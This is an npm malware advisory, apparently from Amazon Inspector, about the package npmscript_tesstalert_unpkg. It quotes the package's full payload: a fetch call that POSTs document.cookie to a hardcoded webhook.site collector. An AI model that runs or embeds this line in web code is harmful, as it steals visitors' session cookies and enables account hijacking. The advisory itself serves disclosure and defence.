MAL-2026-16309
Malicious code in npmscript_tesstalert_unpkg (npm)
Details
--- _-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (5fa1adfe349e0a6092589e90bf38184b5769148bf42b4216fc714ad446ea747b) The package ships a single browser JavaScript file declared as both `main` and `unpkg`, so any page embedding the package via the unpkg CDN loads this script. The script calls `alert(11)` and then executes `fetch('https://webhook.site/c226090c-12b0-462e-81d2-e632c7a58833/', { method: 'POST', mode: 'no-cors', body: document.cookie })`, POSTing `document.cookie` to a hardcoded webhook.site collector. There is no other functionality in the package. Any site that includes this script exfiltrates its visitors' cookies to the attacker-controlled webhook.site endpoint, enabling session hijacking.
Are you affected?
Enter the version of the package you're using.
Affected packages
No fixed version published yet for npmscript_tesstalert_unpkg (npm). Pin to a known-safe version or switch to an alternative.